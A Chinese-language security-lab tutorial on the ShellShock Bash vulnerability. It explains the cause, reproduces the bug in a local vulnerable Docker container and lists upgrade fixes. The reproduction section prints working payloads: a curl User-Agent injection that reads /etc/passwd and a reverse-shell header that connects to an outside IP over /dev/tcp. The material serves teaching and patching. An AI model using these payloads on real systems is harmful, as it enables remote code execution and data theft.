ShellShock漏洞出现时间很早,相信很多人也对ShellShock漏洞有很多的认识了。最近又看学习了下ShellShock漏洞,自己也有一些心得想要分享。
下面我将从4个方面来分享下ShellShock
第一:什么是ShellShock漏洞
第二:漏洞原理分析
第三:漏洞复现
第四:ShellShock的修复方法
Shellshock的原理是利用了Bash在导入环境变量函数时候的漏洞,启动Bash的时候,它不但会导入这个函数,而且也会把函数定义后面的命令执行。
在有些CGI脚本的设计中,数据是通过环境变量来传递的,这样就给了数据提供者利用Shellshock漏洞的机会。
简单来说就是由于服务器的cgi脚本调用了bash命令,由于bash版本过低,攻击者把有害数据写入环境变量,传到服务器端,触发服务器运行Bash脚本,完成攻击。
以root权限安装4.1版本的bash
下载链接:bash4.1
下载:
wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz
安装:
$ tar xf bash-4.1.tar.gz
$ cd bash-4.1
$ ./configure
$ make & make install
安装完成
查看bash版本号
$bash -version
漏洞信息最早来源于国外知名漏洞网站exploit-db下的第34765篇漏洞报告,其中出现了一条验证命令:
env x='() { :;}; echo vulnerable' bash -c "echo this is a test "
如果在一个含有版本号小于bash 4.3的linux或者unix系统,本地执行以上命令,可能会得到以下输出:
Vulnerable this is a test
其中如果出现第一行vulnerable则说明该系统存在一个由bash程序缺陷导致的任意命令执行漏洞。
本地执行结果如下:
输出vulnerable的话,说明bash有漏洞。
了解bash自定义函数,只需要函数名就能够调用该函数。
funtion ShellShock {
echo "Injection"
}
ShellShock #调用这个函数
这个时候的Bash的环境变量:
KEY = ShellShock
VALUE = () { echo Injection; }
来看看ShellShock漏洞的真身:
export ShellShock='() { :; }; echo;/usr/bin/whoami'
bash
>Kr0iNg
为什么调用bash的时候输出Injection了呢,看看它内部情况:
KEY = ShellShock
VALUE = () { :; }; echo;/usr/bin/whoami
bash读取了环境变量,在定义ShellShock之后直接调用了后面的bash命令。
一旦调用bash,自定义的语句就直接触发。
我们先来看一下这个漏洞形成的原因。这个问题的发生是因为Bash的一个功能,它允许在Bash的shell中使用环境变量来定义函数。
函数的作用是把经常调用的代码封装起来,然后在其他地方调用,所有的大多数脚本语言都有这个功能。
Bash中函数的定义是这样的:
function ShellShock{
echo hello
}
hello #调用这个函数
但是,Bash还有一种使用环境变量来定义函数的方法,这是它的特性。
如果环境变量的值以字符"() {"开头,那么这个变量就会被当作是一个导入函数的定义(Export),这种定义只有在shell启动的时候才生效。
➜ ~ export ShellShock="() { echo Hello ShellShock; }"
➜ ~ ShellShock
bash:ShellShock: command not found
➜ ~ bash
bash-4.1$ ShellShock
Hello ShellShock
bash-4.1$
利用存在漏洞版本的bash用export引入触发ShellShock来执行代码测试。
这段的意思就是引入ShellShock这个函数(函数名可任意)
export ShellShock="() { echo This is ShellShock; }
分号作为分隔 来执行系统命令
;echo;/usr/bin/whoami
我用docker在本地pull了一份存在Shellshock漏洞的程序进行测试。
docker搭建、安装教程docker安装教程
docker run -d -p 8000:80 -v /Users/Kr0iNg/Desktop/路径 漏洞镜像名称:latest
将它的端口转发到本机进行访问。
访问127.0.0.1:8000
进行Shellshock漏洞测试,使用工具curl。
测试命令:
curl -A "() { echo ShellShock; }; echo; /bin/cat /etc/passwd" http://127.0.0.1:8000/cgi-bin/vulnerable
使用curl -A 或者 -H 参数模拟Http头命令,并调用“cat /etc/passwd”读passwd文件,发送到存在Bash漏洞的docker容器,成功读取到了passwd文件内容。
我本地测试截图:
用Burpsuite来进行测试。
修改http协议中的User-Agent字段为:
() { :; };echo;/bin/cat /etc/passwd
成功读取passwd文件。
发送http请求进行测试反弹shell。
服务器开启监听:
模拟浏览器头:
User-Agent: () { :; };echo;/bin/bash -i >& /dev/tcp/47.92.80.16/1234 0>&1
反弹成功,可以查看用户名,目录,系统版本等信息。
现在可以按照下面方式进行Bash的升级修复:
操作系统 升级方式
Ubuntu/Debian apt-get update
apt-get install bash
RedHat/CentOS/Fedora yum update -y bash
Arch Linux pacman -Syu
OS X brew update
brew install bash
sudo sh -c 'echo "/usr/local/bin/bash" >> /etc/shells'
chsh -s /usr/local/bin/bash
sudo mv /bin/bash /bin/bash-backup
sudo ln -s /usr/local/bin/bash /bin/bash
MacPorts sudo port self update
sudo port upgrade bash
以上为悬镜安全实验室原创文章,如需转载请标注:http://www.x-mirror.cn/
悬镜安全实验室作为安普诺核心的网络攻防研究团队,主要负责前言安全技术研究和为企业客户提供专业的安全保障及安全咨询等服务,主要包括:基于深度学习的WEB威胁检测引擎研究、恶意样本分析、APT模拟攻击测试、高级渗透测试、主机安全巡检、安全事件应急响应、服务器防黑加固及安卓App风险评估等。